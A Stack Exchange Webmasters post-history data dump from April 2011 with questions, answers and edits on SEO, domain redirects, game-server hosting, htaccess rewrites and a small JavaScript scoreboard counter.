  <row Id="29880" PostHistoryTypeId="2" PostId="13014" RevisionGUID="17122604-6522-4961-b4ea-bce4c1e5c624" CreationDate="2011-04-27T19:12:43.553" UserId="4502" Text="A Drupal view with exposed filters can be used to create something like those feature searches with almost no actual code being written. While these features are certainly convenient, they are not particularly unique. Your sites are in competition. You're going to steal ideas from each other. The actual problem is doing things &lt;em&gt;better&lt;/em&gt;.&#xD;&#xA;&#xD;&#xA;Unless you can prove they somehow stole actual, proprietary &lt;em&gt;code&lt;/em&gt;, or you have some sort of trademark or patent like Amazon's on &quot;&lt;a href=&quot;http://en.wikipedia.org/wiki/1-Click&quot;&gt;one-click&lt;/a&gt;&quot; shopping, I doubt you have any case at all. " />
  <row Id="29881" PostHistoryTypeId="17" PostId="13016" RevisionGUID="7df12424-711d-4fc4-b417-f020c7517953" CreationDate="2011-04-27T19:35:22.243" UserId="-1" Comment="from http://stackoverflow.com/questions/5809464/will-pointing-a-domain-name-away-from-an-old-site-to-a-new-site-hurt-seo/5809495#5809495" Text="" />
  <row Id="29882" PostHistoryTypeId="17" PostId="13017" RevisionGUID="6f79261f-0721-470f-b410-42ed5f621892" CreationDate="2011-04-27T19:35:22.243" UserId="-1" Comment="from http://stackoverflow.com/questions/5809464/will-pointing-a-domain-name-away-from-an-old-site-to-a-new-site-hurt-seo/5809514#5809514" Text="" />
  <row Id="29883" PostHistoryTypeId="2" PostId="13016" RevisionGUID="652668a7-0fa7-4495-9bf1-fcda393cef0d" CreationDate="2011-04-27T19:30:00.280" UserId="7133" Text="Setting up a redirect is a good idea, but ultimately it's the content at a particular URL that determines the page rank. Google may take a bit to catch up to the change, but if the content of the new site is different, expect that the page rank will be different too. It still might be the top one, but if the content is different, it will have a different rank." />
  <row Id="29884" PostHistoryTypeId="2" PostId="13017" RevisionGUID="54fb7254-d532-474e-bd03-58e6b4a86e31" CreationDate="2011-04-27T19:32:25.400" UserDisplayName="Kay" Text="Changing nameservers will not have an effect on SEO i.e. SERPs." />
  <row Id="29885" PostHistoryTypeId="2" PostId="13015" RevisionGUID="c9924576-0ef9-4b73-936e-67c08faf0ba2" CreationDate="2011-04-27T19:27:45.130" UserDisplayName="user727973" Text="I developed a new site for one of my clients and used a new domain name. His old site (made in 1998) is still the #1 hit for our key search term, so we'd like to have that hit point to the new site. Will pointing the old domain to our new nameservers keep it at the top of the Google search results, or is it the actual site files that give it good SEO? Should I just set up a redirect on the site itself?" />
  <row Id="29886" PostHistoryTypeId="1" PostId="13015" RevisionGUID="c9924576-0ef9-4b73-936e-67c08faf0ba2" CreationDate="2011-04-27T19:27:45.130" UserDisplayName="user727973" Text="Will pointing a domain name away from an old site to a new site hurt SEO?" />
  <row Id="29887" PostHistoryTypeId="3" PostId="13015" RevisionGUID="c9924576-0ef9-4b73-936e-67c08faf0ba2" CreationDate="2011-04-27T19:27:45.130" UserDisplayName="user727973" Text="&lt;google&gt;&lt;seo&gt;&lt;domains&gt;" />
  <row Id="29888" PostHistoryTypeId="17" PostId="13015" RevisionGUID="48f27628-1857-4616-900f-685847ded13e" CreationDate="2011-04-27T19:35:22.243" UserId="-1" Comment="from http://stackoverflow.com/questions/5809464/will-pointing-a-domain-name-away-from-an-old-site-to-a-new-site-hurt-seo" Text="" />
  <row Id="29901" PostHistoryTypeId="5" PostId="12859" RevisionGUID="f3cf4248-58c7-40f8-a97d-3f4053120389" CreationDate="2011-04-27T20:43:19.447" UserId="6389" Comment="added more detail on coloction, nixi and AS number look up " Text="&gt; Q. What is my best option here. I have&#xD;&#xA;&gt; no idea what kind of interface I will&#xD;&#xA;&gt; get if I purchase a windows hosting. I&#xD;&#xA;&gt; have only worked on Linux hostings,&#xD;&#xA;&gt; interacted using cpanel etc.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;A. You will need a dedicated server or VPS. most will come with a control panel but you may be able to get a &quot;vanila&quot; install. you will administer the server by remote desktop.&#xD;&#xA;&#xD;&#xA;&gt; Q. Is it possible to just purchase a&#xD;&#xA;&gt; windows hosting and then install games&#xD;&#xA;&gt; myself, do any authentication I want?&#xD;&#xA;&#xD;&#xA;A. Yes. with remote desktop you can install anything you want. As you will be administering the sever the support from your hosting company will likely only extend to doing a reinstall.  &#xD;&#xA;&#xD;&#xA;&gt; Q. Additionally, I am also looking&#xD;&#xA;&gt; some web space to host my personal&#xD;&#xA;&gt; projects...&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;A. If you take a server with a control panel you will be able to use it just as if it were traditional hosting. just make sure anything you do via RDP does not conflict with control panel operations. Having said that configuring IIS with no CP is not difficult.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Your goal here is to run a server were people in India can get a consitantly low (&lt;100ms) ping for responsive game play. As few hops in the network route is also good as there are fewer places for problems and a smaller chance the route will be changed. Ideally a host based in India will peer traffic directly with the ISP of your users. If traffic is not peered directly it will be sent via a transit providers who will not always the fastest route, it will be the cheapest. Even a fast international route will add 100ms to your ping, you need a host in India. For web servers a low ping would only be one of many factors to consider which is why people have advised internationl hosts, but for gaming it's all that really matters. We can't be certain all India hosts peer with all Indian ISP's, they will certainly try to as they save transit costs by doing so but you really need to test the routes. There is a tool called mtr or winmtr (shows you everything pingtest.net would show + lots more) that combines ping and traceroute you need to get as many people as you can who might be using your server to run mtr against a prospective host. You will see the average ping response at the bottom and the name of each node the packet passes through. It's not an exact science and dont panic over one strange result, but looking at a few of these mtr reports will give you a good feel for how the traffic is routed and quality of the hosts network infrastructure. For even more detail you can look up a hosts [AS][1] number by doing a whois lookup on the ip, then using services such as [this][2] to find out more about their routing. Again use this only to get a feel for quality, it's really more useful for looking at international routing which your less interested in. Private peering agreements will not be shown.&#xD;&#xA;&#xD;&#xA;Check forums or ask current server admins for the specifications needed by COD, I dont run game server but from what I have seen a $60/month VPS should do it. I searched and found several VPS providers in India, get a rolling monthly contract so you can move quickly if needed do no sign for a year or longer. CPU resources on a VPS will be hard to gauge unless you try before you buy and may change as they add usrs to the node. Get as much ram in the VPS as you can afford. Check [here][3] that your host is a member of [nixi][4] I would be very concerned about a host who is not.&#xD;&#xA;&#xD;&#xA;Cloud hosting can work out to be expensive and is not a fixed cost, if you go down this route then check your calculations, also this is unlikely to be hosted in India so you wont get the ping you need. Longer term you should consider moving to a dedicated server for stability and power. Better still would be to Colocate your own server. Gaming servers have different requirements than web so you will get more suitable spec for **much** less money in the long run. Having a goal (the outright cost of a server) may also make it easier to get donations from players.&#xD;&#xA;&#xD;&#xA;If your game server application has no authentication built in then you could just use a firewall to control access add and removing ip's as needed. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Autonomous_system_%28Internet%29&#xD;&#xA;  [2]: http://bgp.he.net/&#xD;&#xA;  [3]: http://nixi.in/index.php?option=com_member&amp;Itemid=43&#xD;&#xA;  [4]: http://nixi.in/" />
  <row Id="29903" PostHistoryTypeId="2" PostId="13020" RevisionGUID="28b0fa0c-29ec-4cfe-9b78-6c453e00ce95" CreationDate="2011-04-27T21:00:53.880" UserId="5614" Text="What is the easiest way to build a private website network based on Linkedin profiles? Are there any pre-built softwares/webapps that can do this? Would appreciate if someone can point me in the right direction.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is what inspired my question. Taken from The Next Web Conference: http://thenextweb.com/eu/2011/04/25/taking-conference-networking-to-the-next-level/&#xD;&#xA;&#xD;&#xA;&gt; We’ve built a private (mobile) business network, that works on any phone, tablet and laptop but is only accessible to attendees of TNW2011. It really takes networking to the next level. We tested a first version of this network at a previous conference and it delivered so much more value for people, that some of them told us they would happily pay 500 euros extra for an event as long as they offered this tool too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is what I'm aiming to replicate.&#xD;&#xA;&#xD;&#xA;&gt; The network allows you to:&#xD;&#xA;&#xD;&#xA;&gt;- Browse and search through all attendees&#xD;&#xA;- Set up meetings on and around the event with attendees&#xD;&#xA;- Meet potential clients&#xD;&#xA;- Ask for introductions&#xD;&#xA;" />
  <row Id="29904" PostHistoryTypeId="1" PostId="13020" RevisionGUID="28b0fa0c-29ec-4cfe-9b78-6c453e00ce95" CreationDate="2011-04-27T21:00:53.880" UserId="5614" Text="What is the easiest way to build a private website network based on Linkedin profiles?" />
  <row Id="29905" PostHistoryTypeId="3" PostId="13020" RevisionGUID="28b0fa0c-29ec-4cfe-9b78-6c453e00ce95" CreationDate="2011-04-27T21:00:53.880" UserId="5614" Text="&lt;social-networks&gt;&lt;networking&gt;" />
  <row Id="29906" PostHistoryTypeId="25" PostId="13015" RevisionGUID="78d384d3-6bdc-4276-81b0-2fa2c94639c2" CreationDate="2011-04-27T21:09:22.637" Comment="http://twitter.com/#!/StackWebmasters/status/63349039353176064" />
  <row Id="29911" PostHistoryTypeId="5" PostId="12955" RevisionGUID="456733a2-ffb1-4c72-9436-117da69e9eb4" CreationDate="2011-04-27T21:50:05.507" UserId="4488" Comment="Added additional information" Text="I know this answer's late by a few months, but just in case you're still looking or someone else finds this question...&#xD;&#xA;&#xD;&#xA;Check out [Inuvi][1] and please contact us if it looks like we can help.&#xD;&#xA;&#xD;&#xA;Here are some ways in which Inuvi differs from 4INFO:&#xD;&#xA;&#xD;&#xA; - We provide publishers (and mobile&#xD;&#xA;   operators) with an ad service only.&#xD;&#xA; - We don't offer the full SMS&#xD;&#xA;   publishing, delivery, and advertising&#xD;&#xA;   solution that 4INFO provides. &#xD;&#xA; - We operate globally. &#xD;&#xA; - We&#xD;&#xA;   have a low minimum spend for&#xD;&#xA;   advertisers. &#xD;&#xA; - We don't charge a set-up&#xD;&#xA;   or service fee to publishers and mobile operators.&#xD;&#xA;&#xD;&#xA;By the way, if anyone's interested, here's the [Inuvi blog][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://inuvi.com&#xD;&#xA;  [2]: http://blog.inuvi.com" />
  <row Id="29913" PostHistoryTypeId="5" PostId="12992" RevisionGUID="f8cc7641-b6a1-4d02-9f09-67c0214c6e5d" CreationDate="2011-04-27T22:09:29.970" UserId="4461" Comment="Format, spelling, punctuation." Text="My main domain is `domain.com` (for example), but i want to buy:&#xD;&#xA;&gt; domain-dragon.com  &#xD;&#xA;&gt; domain-killer.com  &#xD;&#xA;&#xD;&#xA;and on and on &#xD;&#xA;and redirect (301) to my main domain - `domain.com`, is this considered as a violation of SEO rules. Is it bad for business?&#xD;&#xA;" />
  <row Id="29914" PostHistoryTypeId="4" PostId="12992" RevisionGUID="f8cc7641-b6a1-4d02-9f09-67c0214c6e5d" CreationDate="2011-04-27T22:09:29.970" UserId="4461" Comment="Format, spelling, punctuation." Text="Redirecting different domains to your main site" />
  <row Id="29915" PostHistoryTypeId="24" PostId="12992" RevisionGUID="f8cc7641-b6a1-4d02-9f09-67c0214c6e5d" CreationDate="2011-04-27T22:09:29.970" Comment="Proposed by 4461 approved by 1064 edit id of 235" />
  <row Id="29916" PostHistoryTypeId="6" PostId="13020" RevisionGUID="9a781a98-f86f-4b2d-800e-1caca34fcb00" CreationDate="2011-04-27T22:09:58.223" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;looking-for-a-script&gt;&lt;social-networks&gt;&lt;networking&gt;" />
  <row Id="29917" PostHistoryTypeId="2" PostId="13021" RevisionGUID="997dccdc-3743-4d05-bc0b-fac5d25627fe" CreationDate="2011-04-27T22:29:15.907" UserId="7138" Text="Google needs to find a link to it from another page on the internet that it indexes ... You can create a profile here that would include a link by using the login button on the top of the page - answer some Qs and place it in the &quot;Home Page&quot; box here. Comment on a interesting blog post using your site in the &quot;home page&quot; box. If you have a twitter account (already indexed) tweet. A facebook account share link. A youtube account add it to your profile. Many forums allow signature lines to your site almost all forums have a place in your profile for your website.&#xD;&#xA;&#xD;&#xA;It will take more than 5 days. The more links you have the faster it will send the robot to your site to index new pages and higher it will list you in the search results. However think quality not raw numbers of links. " />
  <row Id="29918" PostHistoryTypeId="2" PostId="13022" RevisionGUID="667abc13-d646-4f96-a8d5-f54b69daf128" CreationDate="2011-04-27T23:21:53.820" UserId="7140" Text="You will need to 301 redirect the old domain to the new domain to keep the status quo.  However.... @cdeszaq is correct... google will slowly realise that the content is different and begin to re-optimise the website accordingly...&#xD;&#xA;&#xD;&#xA;using a 301 redirect from old-domain to new-domain will ensure you stay where you are the the rankings... You will need to optimise the new site to stay there though..." />
  <row Id="29919" PostHistoryTypeId="2" PostId="13023" RevisionGUID="7e8629c7-55ba-4981-9a76-b4839f72b80b" CreationDate="2011-04-27T23:26:20.993" UserId="7140" Text="The answer is &quot;it depends&quot;&#xD;&#xA;&#xD;&#xA;What you are employing is an ok tactic and it will help a little... The problem is:&#xD;&#xA;&#xD;&#xA;a) it is within your own website so the impact will not be that great in the grand scheme of things&#xD;&#xA;b) if you do it too much fr a single word, you can &quot;spam&quot; yourself out of the rankings...&#xD;&#xA;&#xD;&#xA;Just do it where it is relevant and makes sense...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29920" PostHistoryTypeId="2" PostId="13024" RevisionGUID="3660c4bf-6d82-480c-9802-484555f549ca" CreationDate="2011-04-27T23:27:49.750" UserId="7141" Text="I would also make sure you're taking advantage of the meta tags that go in your &lt;head&gt;&lt;/head&gt;... for example:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;description&quot; content=&quot;This is the personal website for My Name&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;keywords&quot; content=&quot;My Name, Web Development, Awesomeness, etc...&quot;&gt;&#xD;&#xA;&#xD;&#xA;SEO on google is a tricky subject... whether it's due to the fabled 'sandbox effect' or what... You said you have no competition on the name so I won't go any further than saying it'll be tough if your name is 'John Smith'.  &#xD;&#xA;&#xD;&#xA;Another great reference that I send all my buddies to, though a little old, is a good start:&#xD;&#xA;&#xD;&#xA;http://www.google.com/events/io/2009/sessions/SearchFriendlyDevelopment.html&#xD;&#xA;&#xD;&#xA;Nice little vid there.  Hope that helps!&#xD;&#xA;&#xD;&#xA;Good luck mate!" />
  <row Id="29924" PostHistoryTypeId="25" PostId="13013" RevisionGUID="80f4098d-c853-40ae-b051-1b716fe9ec16" CreationDate="2011-04-28T00:09:22.757" Comment="http://twitter.com/#!/StackWebmasters/status/63394337572143104" />
  <row Id="29928" PostHistoryTypeId="2" PostId="13026" RevisionGUID="f49f39fc-62df-4254-b9a9-93b9d1d001a9" CreationDate="2011-04-28T00:48:24.247" UserId="7114" Text="Perhaps something like:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\.example\.com&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^example\.com&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(.)+\.example\.com&#xD;&#xA;    RewriteCond %{REQUEST_URI} !^/app/$1&#xD;&#xA;    RewriteRule ^(.*)$ app/$1/$2 [L]&#xD;&#xA;&#xD;&#xA;Which ensures you're not currently accessing www.example.com or example.com directly; then takes your prefix, checks that you're not currently accessing at the /app directly (or it will loop forever), and then rewrites.  This should be transparent.. &#xD;&#xA;&#xD;&#xA;*Elaborated from http://corz.org/serv/tricks/htaccess2.php*" />
  <row Id="29929" PostHistoryTypeId="2" PostId="13027" RevisionGUID="71dd7440-50a4-432c-b49e-84c18177c434" CreationDate="2011-04-28T01:23:04.600" UserId="7143" Text="is there a way to stress test video streaming? &#xD;&#xA;Basically simulating a high number of people simultaneously streaming a video?&#xD;&#xA;&#xD;&#xA;This is an amazon 'cloud' service that will be enabled for my site." />
  <row Id="29930" PostHistoryTypeId="1" PostId="13027" RevisionGUID="71dd7440-50a4-432c-b49e-84c18177c434" CreationDate="2011-04-28T01:23:04.600" UserId="7143" Text="stress test video streaming" />
  <row Id="29931" PostHistoryTypeId="3" PostId="13027" RevisionGUID="71dd7440-50a4-432c-b49e-84c18177c434" CreationDate="2011-04-28T01:23:04.600" UserId="7143" Text="&lt;video&gt;&lt;streaming&gt;&lt;load-testing&gt;" />
  <row Id="29933" PostHistoryTypeId="2" PostId="13028" RevisionGUID="d671eb47-e3e5-4f23-99c0-87868cc92f2c" CreationDate="2011-04-28T02:18:34.730" UserId="7145" Text="I have a website, which doesn't have a URL (ip address), would like to have it at the top rank for a specific key word search terms in Google. I have added meta tags, submit a sitemap to google, put it in digg,etc, but it still is on the third page... what else can I do to bump it up? I need some free suggestions (not buying adwords, buying a domain for it, etc).&#xD;&#xA;&#xD;&#xA;I know that the best way would be to have in-links to the site (i.e: having as much links as possible coming into the site), but this is very hard to do. Unless someone has any simple suggestions on what to do" />
  <row Id="29934" PostHistoryTypeId="1" PostId="13028" RevisionGUID="d671eb47-e3e5-4f23-99c0-87868cc92f2c" CreationDate="2011-04-28T02:18:34.730" UserId="7145" Text="SEO noob questions" />
  <row Id="29935" PostHistoryTypeId="3" PostId="13028" RevisionGUID="d671eb47-e3e5-4f23-99c0-87868cc92f2c" CreationDate="2011-04-28T02:18:34.730" UserId="7145" Text="&lt;seo&gt;&lt;site-ranking&gt;&lt;google-ranking&gt;" />
  <row Id="29936" PostHistoryTypeId="5" PostId="13028" RevisionGUID="da8da4a8-0791-48e7-bd63-9fa41d30a01c" CreationDate="2011-04-28T02:22:06.027" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a website, which doesn't have a URL (ip address), would like to have it at the top rank for a specific key word search terms in Google. I have added meta tags, submit a sitemap to google, put it in digg,etc, but it still is on the third page... what else can I do to bump it up? I need some free suggestions (not buying adwords, buying a domain for it, etc).&#xD;&#xA;&#xD;&#xA;I know that the best way would be to have in-links to the site (i.e: having as much links as possible coming into the site), but this is very hard to do. Unless someone has any simple suggestions on what to do" />
  <row Id="29937" PostHistoryTypeId="10" PostId="13028" RevisionGUID="fd327b71-9f7c-4c30-8b07-b6d8b4bd981a" CreationDate="2011-04-28T02:22:05.543" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29938" PostHistoryTypeId="2" PostId="13029" RevisionGUID="69f7db74-6a57-4cfd-9487-7a37d30500eb" CreationDate="2011-04-28T02:24:06.003" UserId="7144" Text="I had the same problem and found no solution to it, so I created my own. I am providing this as a paid service now at [http://storageroomapp.com][1]. It is not available to the public yet, contact me if you want to get into the free beta.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://storageroomapp.com" />
  <row Id="29939" PostHistoryTypeId="2" PostId="13030" RevisionGUID="f80d9e31-946a-4e9f-9498-8d10bcdad4b8" CreationDate="2011-04-28T02:35:26.020" UserId="1253" Text="Definitely do a 301 redirect from the old domain to the new domain. Don't forget to do the same thing for inner pages, too. That will help the search engines identify which pages on the new sites are from the old site and things like incoming links will be associated to the new pages (with a slight dampening factor applied). It will also speed up the search engines indexing your site at the new URL." />
  <row Id="29940" PostHistoryTypeId="25" PostId="13027" RevisionGUID="be6251ec-4cb4-4606-834f-55fc12ec0b03" CreationDate="2011-04-28T03:09:22.750" Comment="http://twitter.com/#!/StackWebmasters/status/63439637699502082" />
  <row Id="29941" PostHistoryTypeId="17" PostId="13032" RevisionGUID="eab3433c-1969-4c8f-a01b-c539e000706a" CreationDate="2011-04-28T03:18:29.573" UserId="-1" Comment="from http://stackoverflow.com/questions/5800347/how-to-design-scoreboard/5811164#5811164" Text="" />
  <row Id="29942" PostHistoryTypeId="2" PostId="13032" RevisionGUID="b1ddf592-6c86-42d3-ae2d-8a1c067dfd48" CreationDate="2011-04-27T22:03:07.733" UserDisplayName="user721716" Text="    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;    /*&lt;![CDATA[*/&#xD;&#xA;    &lt;!--&#xD;&#xA;    a {text-decoration:none; font-size: 150pt}&#xD;&#xA;    a:link {color: blue;}&#xD;&#xA;    a:visited {color: blue;}&#xD;&#xA;    a:hover {color: blue;}&#xD;&#xA;    a:active {color: blue;}//--&gt;&#xD;&#xA;    /*]]&gt;*/&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    //&lt;![CDATA[&#xD;&#xA;    var x=0;&#xD;&#xA;    &#xD;&#xA;    function up() {&#xD;&#xA;        ++x;&#xD;&#xA;        y = x.toString();&#xD;&#xA;            if (y &lt; 10) {&#xD;&#xA;            y = &quot;0&quot;+y;&#xD;&#xA;        }&#xD;&#xA;        document.getElementById('tens').innerHTML = y.substr(0,1);&#xD;&#xA;        document.getElementById('ones').innerHTML = y.substr(1);&#xD;&#xA;    }&#xD;&#xA;    function down() {&#xD;&#xA;        --x;&#xD;&#xA;        y = x.toString();&#xD;&#xA;            if (y &lt; 10) {&#xD;&#xA;            y = &quot;0&quot;+y;&#xD;&#xA;        }&#xD;&#xA;        document.getElementById('tens').innerHTML = y.substr(0,1);&#xD;&#xA;        document.getElementById('ones').innerHTML = y.substr(1);&#xD;&#xA;    }&#xD;&#xA;    //]]&gt;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;try that&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;#&quot; id=&quot;tens&quot; onmousedown=&quot;down()&quot; name=&quot;tens&quot;&gt;0&lt;/a&gt;&lt;a href=&quot;#&quot; id=&quot;ones&quot; onmousedown=&quot;up()&quot; name=&quot;ones&quot;&gt;0&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29943" PostHistoryTypeId="2" PostId="13031" RevisionGUID="c5b21342-c85f-47ae-ab94-94d70109696e" CreationDate="2011-04-27T06:37:29.050" UserDisplayName="user601367" Text="I developed an online exam using .net and now I want to send score to mail. But I want it look like a certificate. How should I design it, or alternatively, are there any template designs available" />
  <row Id="29944" PostHistoryTypeId="1" PostId="13031" RevisionGUID="c5b21342-c85f-47ae-ab94-94d70109696e" CreationDate="2011-04-27T06:37:29.050" UserDisplayName="user601367" Text="how to design scoreboard?" />
  <row Id="29945" PostHistoryTypeId="3" PostId="13031" RevisionGUID="c5b21342-c85f-47ae-ab94-94d70109696e" CreationDate="2011-04-27T06:37:29.050" UserDisplayName="user601367" Text="&lt;html&gt;&lt;design&gt;" />
  <row Id="29946" PostHistoryTypeId="17" PostId="13031" RevisionGUID="010adcb9-b6fa-4055-a5e5-1fc5f6320f95" CreationDate="2011-04-28T03:18:29.573" UserId="-1" Comment="from http://stackoverflow.com/questions/5800347/how-to-design-scoreboard" Text="" />
  <row Id="29953" PostHistoryTypeId="25" PostId="13020" RevisionGUID="f1a6c4ac-1131-4866-8b18-3add4574b25a" CreationDate="2011-04-28T06:09:22.703" Comment="http://twitter.com/#!/StackWebmasters/status/63484935037648896" />
  <row Id="29954" PostHistoryTypeId="2" PostId="13034" RevisionGUID="2f73110f-9e39-4e86-836f-d6ace91ef5fa" CreationDate="2011-04-28T07:17:33.820" UserId="4461" Text="You're halfway to finding the issue.&#xD;&#xA;&#xD;&#xA; - check with Google Webmaster Tools to see if any HTML issues are showing&#xD;&#xA; - also check to see what number of pages are being indexed vs being submitted&#xD;&#xA; - then do a [fetch as googlebot][1] test from inside GWT to see what gets returned&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=158587" />
  <row Id="29955" PostHistoryTypeId="2" PostId="13035" RevisionGUID="8b927012-fca1-4b24-acd5-27bf915f9795" CreationDate="2011-04-28T07:51:50.530" UserId="1643" Text="Linkedin has an API and [this site][1] has some example applications that use it. I think that would be a good place to start.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.programmableweb.com/api/linkedin/mashups" />
  <row Id="29956" PostHistoryTypeId="25" PostId="12957" RevisionGUID="038060c2-fce8-46fb-95eb-204c0e2d4103" CreationDate="2011-04-28T09:09:22.650" Comment="http://twitter.com/#!/StackWebmasters/status/63530233860595712" />
  <row Id="29957" PostHistoryTypeId="2" PostId="13036" RevisionGUID="0361fb10-9b68-4669-bc1f-cb8ac606beed" CreationDate="2011-04-28T10:13:53.813" UserId="7156" Text="Get and old PC with Windows, configure IIS and put your app there. Plug the PC into your router and configure the router to forward port 80 to your old PC / new server. Finally use dynamic DNS service to route a domain to your router. You are done - you have hosting for free." />
  <row Id="29958" PostHistoryTypeId="2" PostId="13037" RevisionGUID="a7a3b371-4f5d-427c-a4d3-6d1bfed881c0" CreationDate="2011-04-28T11:00:23.977" UserId="1643" Text="The place to start is to find out where the email gets delivered to. I would go to http://www.webmaster-toolkit.com/dns-query.shtml, put in the domain, and look for lines with MX in them." />
  <row Id="29959" PostHistoryTypeId="5" PostId="12962" RevisionGUID="c47e1aba-a2bf-4102-a248-8f2591b74158" CreationDate="2011-04-28T11:46:44.113" UserId="4461" Comment="Grammar, punctuation, paragraphing, title relevancy" Text="I have launched a site for myself and now I'm doing some simple SEO for it.&#xD;&#xA;&#xD;&#xA;The site uses my name and it's unique and has no competition on search engines, but I don't know why Google crawlers haven't done anything on my site.&#xD;&#xA;&#xD;&#xA;I have added my site's URL to Google (via addurl) and I have also signed in to Google Webmaster Tools.&#xD;&#xA;&#xD;&#xA;The title and the url of my site is also related to my name, but even when I Google my name Google returns nothing about my site, and Google Webmaster Tools also shows no keywords for my site. Do you have any idea why this happens?&#xD;&#xA;&#xD;&#xA;[update] OK, I won't link my site here, I launched it about 5 days ago, and it's on my name (completely unique). I just want it to be shown everytime some one Googles my name - just that simple, but it seems Google hasn't done anything with my site yet, is this normal?" />
  <row Id="29960" PostHistoryTypeId="4" PostId="12962" RevisionGUID="c47e1aba-a2bf-4102-a248-8f2591b74158" CreationDate="2011-04-28T11:46:44.113" UserId="4461" Comment="Grammar, punctuation, paragraphing, title relevancy" Text="New site not showing in Google for unique name" />
  <row Id="29961" PostHistoryTypeId="24" PostId="12962" RevisionGUID="c47e1aba-a2bf-4102-a248-8f2591b74158" CreationDate="2011-04-28T11:46:44.113" Comment="Proposed by 4461 approved by 1253 edit id of 236" />
  <row Id="29962" PostHistoryTypeId="25" PostId="12962" RevisionGUID="d15a4ae2-51df-4508-9568-e1f5cd4f95f8" CreationDate="2011-04-28T12:09:22.487" Comment="http://twitter.com/#!/StackWebmasters/status/63575532117299200" />
  <row Id="29963" PostHistoryTypeId="2" PostId="13038" RevisionGUID="58d4b442-23d3-4ba5-b81a-d956620e8f3b" CreationDate="2011-04-28T13:21:47.700" UserId="5134" Text="Is there any tool to convert joomla template to Drupal 7 theme? " />
  <row Id="29964" PostHistoryTypeId="1" PostId="13038" RevisionGUID="58d4b442-23d3-4ba5-b81a-d956620e8f3b" CreationDate="2011-04-28T13:21:47.700" UserId="5134" Text="Tools to convert joomla template to Drupal 7 theme?" />
  <row Id="29965" PostHistoryTypeId="3" PostId="13038" RevisionGUID="58d4b442-23d3-4ba5-b81a-d956620e8f3b" CreationDate="2011-04-28T13:21:47.700" UserId="5134" Text="&lt;drupal&gt;&lt;joomla&gt;&lt;conversions&gt;" />
  <row Id="29966" PostHistoryTypeId="6" PostId="13038" RevisionGUID="fa4a34fb-b35f-4e84-9ffd-113596fe9609" CreationDate="2011-04-28T13:27:36.540" UserId="1643" Comment="edited tags" Text="&lt;drupal&gt;&lt;joomla&gt;&lt;template&gt;&lt;conversions&gt;" />
  <row Id="29967" PostHistoryTypeId="2" PostId="13039" RevisionGUID="e3dd5e3f-d36f-4935-927d-f128b830bb6a" CreationDate="2011-04-28T13:28:17.773" UserId="7159" Text="One of the easiest things you can do is put some links on profiles in different places.&#xD;&#xA;&#xD;&#xA;One trick is to use your linkedin profile and use other for the link type and choose your keyword as the title and the domain as the link.  This normally gets items indexed and ranking for people based domains very fast." />
  <row Id="29968" PostHistoryTypeId="5" PostId="13038" RevisionGUID="32564fa5-c59a-4b51-bd47-97cb86c125e8" CreationDate="2011-04-28T13:38:16.437" UserId="5134" Comment="added 18 characters in body; edited title; deleted 3 characters in body; edited title" Text="Is there any tool to convert joomla and wordpress  template to Drupal 7 theme? " />
  <row Id="29969" PostHistoryTypeId="4" PostId="13038" RevisionGUID="32564fa5-c59a-4b51-bd47-97cb86c125e8" CreationDate="2011-04-28T13:38:16.437" UserId="5134" Comment="added 18 characters in body; edited title; deleted 3 characters in body; edited title" Text="Tools to convert joomla and wordpress template to Drupal 7 theme?" />
  <row Id="29970" PostHistoryTypeId="2" PostId="13040" RevisionGUID="504cabba-2953-4f03-8069-1eef370700ee" CreationDate="2011-04-28T14:11:55.130" UserId="6033" Text="**What to Avoid:**&#xD;&#xA;&#xD;&#xA;If you're already running a profitable business, avoid optimization techniques that go against the search engine's publicly stated goals, but seem to be working for people.&#xD;&#xA;&#xD;&#xA;Here's a good example: http://backlinksforum.com/main-backlinks-linkbuilding-discussion/357-proof-number-outbound-links-page-does-not-dilute-link-juice-passed.html&#xD;&#xA;&#xD;&#xA;In that post, the OP talks about how the number of outbound links does not dilute link juice in his testing. Well that's great to know, but it really doesn't make sense in the long run, and doesn't seem to mesh with the search engine stated goals. If you built your site around that concept as true, and google fixed a bug causing that issue, then your site might tank overnight." />
